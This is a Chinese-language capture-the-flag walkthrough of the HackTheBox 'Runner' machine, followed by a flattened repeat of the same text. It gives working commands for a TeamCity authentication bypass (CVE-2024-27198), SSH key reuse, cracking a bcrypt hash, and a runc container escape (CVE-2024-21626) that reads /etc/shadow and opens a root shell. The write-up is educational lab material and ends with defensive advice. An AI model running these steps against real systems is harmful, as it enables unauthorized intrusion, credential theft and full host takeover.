HackThebox Runner Walkthrough
字数 1663 2025-08-19 12:42:14

HackTheBox Runner 渗透测试完整指南

1. 目标概述

Runner 是 HackTheBox 平台上的一个中等难度 Linux 靶机,涉及以下技术点:

  • TeamCity CI/CD 平台漏洞利用 (CVE-2024-27198)
  • SSH 私钥泄露与利用
  • Portainer 容器管理平台
  • Docker 容器逃逸 (CVE-2024-21626)
  • 密码哈希破解与横向移动

2. 初始信息收集

2.1 端口扫描

使用 Nmap 进行全端口扫描:

nmap -A -Pn 10.10.11.13 -sV -oN Runner.tcp

扫描结果:

PORT     STATE    SERVICE    VERSION
22/tcp   open     ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.6
80/tcp   open     http       nginx 1.18.0 (Ubuntu)
981/tcp  filtered unknown
1096/tcp filtered cnrprotocol
8000/tcp open     nagios-nsca Nagios NSCA
10566/tcp filtered unknown

2.2 Web 服务枚举

80 端口

  • 重定向到 http://runner.htb/
  • 标准产品展示页面,无直接可利用点

8000 端口

  • Nagios NSCA 服务
  • 目录扫描发现 /health/version 端点,但无有用信息

2.3 虚拟主机爆破

使用 ffuf 进行子域名枚举:

ffuf -u http://runner.htb -w SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.runner.htb" -fw 4

发现子域名:

  • teamcity.runner.htb (返回 401 状态码)

3. TeamCity 漏洞利用

3.1 TeamCity 简介

TeamCity 是 JetBrains 开发的持续集成和持续交付(CI/CD)工具,支持多种技术栈。

3.2 CVE-2024-27198 漏洞利用

这是一个身份验证绕过漏洞,允许创建管理员账户。

利用步骤:

  1. 下载漏洞利用脚本:

    wget https://github.com/yoryio/CVE-2024-27198/raw/main/CVE-2024-27198.py
    
  2. 执行漏洞利用:

    python3 CVE-2024-27198.py -t http://teamcity.runner.htb -u attacker -p attacker
    
  3. 成功创建管理员账户后,登录 TeamCity 控制台

3.3 获取初始访问权限

在 TeamCity 控制台中:

  1. 浏览项目配置
  2. AllProjects > pluginData > ssh_keys 目录下发现 SSH 私钥文件 id_rsa
  3. 下载私钥文件

使用发现的私钥尝试 SSH 登录:

chmod 600 id_rsa
ssh -i id_rsa john@runner.htb

成功获取初始 shell 作为 john 用户。

4. 权限提升路径

4.1 系统信息收集

检查当前用户权限:

id
whoami

检查系统进程和网络连接:

netstat -ntpl
ps aux

发现关键服务:

  • 127.0.0.1:9443 - 未知服务
  • 127.0.0.1:8111 - TeamCity
  • 127.0.0.1:9000 - Portainer

检查 /opt 目录:

ls /opt

发现:

  • containerd
  • portainer

4.2 横向移动至 matthew 用户

  1. 从 TeamCity 备份中提取用户哈希:

    sudo cat database_dump/users
    

    获取到 matthew 的密码哈希:

    $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em
    
  2. 使用 hashcat 破解哈希:

    hashcat -m3200 '$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em' rockyou.txt --force
    

    破解结果:piper123

  3. 尝试使用该密码 SSH 登录 matthew 用户:

    ssh matthew@runner.htb
    

4.3 通过 Portainer 提升权限

  1. 设置 SSH 端口转发访问本地的 Portainer:

    ssh -L 9000:127.0.0.1:9000 matthew@runner.htb -fN
    
  2. 浏览器访问 http://localhost:9000,使用 matthew:piper123 登录

  3. 在 Portainer 中创建或管理容器,获取 root 权限

4.4 利用 CVE-2024-21626 容器逃逸

  1. 在 Portainer 中创建新容器,使用以下配置:

    docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm
    
  2. 在容器内获取主机文件系统访问:

    cat /proc/self/root/etc/shadow
    
  3. 或者直接获取 root shell:

    chroot /proc/self/root bash
    

5. 替代提权路径

如果无法通过 Portainer 提权,可尝试以下方法:

  1. 检查不安全的挂载点:

    cat /etc/fstab
    
  2. 查找 SUID 文件:

    find / -perm -4000 -type f 2>/dev/null
    
  3. 检查 cron 作业:

    crontab -l
    ls -la /etc/cron*
    

6. 总结与关键点

  1. 信息收集是关键:全面的端口扫描和子域名枚举发现了 TeamCity 入口
  2. CVE 利用:及时查找和应用公开漏洞 (CVE-2024-27198)
  3. 凭证管理:在 CI/CD 平台中经常存储敏感凭证,如 SSH 密钥
  4. 横向移动:密码复用是常见问题,哈希破解可以扩大访问范围
  5. 容器安全:不当的容器配置可能导致容器逃逸和权限提升

7. 防御建议

  1. 及时更新 CI/CD 平台和容器运行时
  2. 避免在版本控制或配置管理中存储明文凭证
  3. 实施最小权限原则,限制容器权限
  4. 使用强密码策略并避免密码复用
  5. 定期审计系统配置和权限设置

通过这份指南,您应该能够全面理解 Runner 靶机的渗透测试过程,并掌握相关的安全概念和技术。

HackTheBox Runner 渗透测试完整指南 1. 目标概述 Runner 是 HackTheBox 平台上的一个中等难度 Linux 靶机,涉及以下技术点: TeamCity CI/CD 平台漏洞利用 (CVE-2024-27198) SSH 私钥泄露与利用 Portainer 容器管理平台 Docker 容器逃逸 (CVE-2024-21626) 密码哈希破解与横向移动 2. 初始信息收集 2.1 端口扫描 使用 Nmap 进行全端口扫描: 扫描结果: 2.2 Web 服务枚举 80 端口 重定向到 http://runner.htb/ 标准产品展示页面,无直接可利用点 8000 端口 Nagios NSCA 服务 目录扫描发现 /health 和 /version 端点,但无有用信息 2.3 虚拟主机爆破 使用 ffuf 进行子域名枚举: 发现子域名: teamcity.runner.htb (返回 401 状态码) 3. TeamCity 漏洞利用 3.1 TeamCity 简介 TeamCity 是 JetBrains 开发的持续集成和持续交付(CI/CD)工具,支持多种技术栈。 3.2 CVE-2024-27198 漏洞利用 这是一个身份验证绕过漏洞,允许创建管理员账户。 利用步骤: 下载漏洞利用脚本: 执行漏洞利用: 成功创建管理员账户后,登录 TeamCity 控制台 3.3 获取初始访问权限 在 TeamCity 控制台中: 浏览项目配置 在 AllProjects > pluginData > ssh_keys 目录下发现 SSH 私钥文件 id_rsa 下载私钥文件 使用发现的私钥尝试 SSH 登录: 成功获取初始 shell 作为 john 用户。 4. 权限提升路径 4.1 系统信息收集 检查当前用户权限: 检查系统进程和网络连接: 发现关键服务: 127.0.0.1:9443 - 未知服务 127.0.0.1:8111 - TeamCity 127.0.0.1:9000 - Portainer 检查 /opt 目录: 发现: containerd portainer 4.2 横向移动至 matthew 用户 从 TeamCity 备份中提取用户哈希: 获取到 matthew 的密码哈希: 使用 hashcat 破解哈希: 破解结果: piper123 尝试使用该密码 SSH 登录 matthew 用户: 4.3 通过 Portainer 提升权限 设置 SSH 端口转发访问本地的 Portainer: 浏览器访问 http://localhost:9000 ,使用 matthew:piper123 登录 在 Portainer 中创建或管理容器,获取 root 权限 4.4 利用 CVE-2024-21626 容器逃逸 在 Portainer 中创建新容器,使用以下配置: 在容器内获取主机文件系统访问: 或者直接获取 root shell: 5. 替代提权路径 如果无法通过 Portainer 提权,可尝试以下方法: 检查不安全的挂载点: 查找 SUID 文件: 检查 cron 作业: 6. 总结与关键点 信息收集是关键 :全面的端口扫描和子域名枚举发现了 TeamCity 入口 CVE 利用 :及时查找和应用公开漏洞 (CVE-2024-27198) 凭证管理 :在 CI/CD 平台中经常存储敏感凭证,如 SSH 密钥 横向移动 :密码复用是常见问题,哈希破解可以扩大访问范围 容器安全 :不当的容器配置可能导致容器逃逸和权限提升 7. 防御建议 及时更新 CI/CD 平台和容器运行时 避免在版本控制或配置管理中存储明文凭证 实施最小权限原则,限制容器权限 使用强密码策略并避免密码复用 定期审计系统配置和权限设置 通过这份指南,您应该能够全面理解 Runner 靶机的渗透测试过程,并掌握相关的安全概念和技术。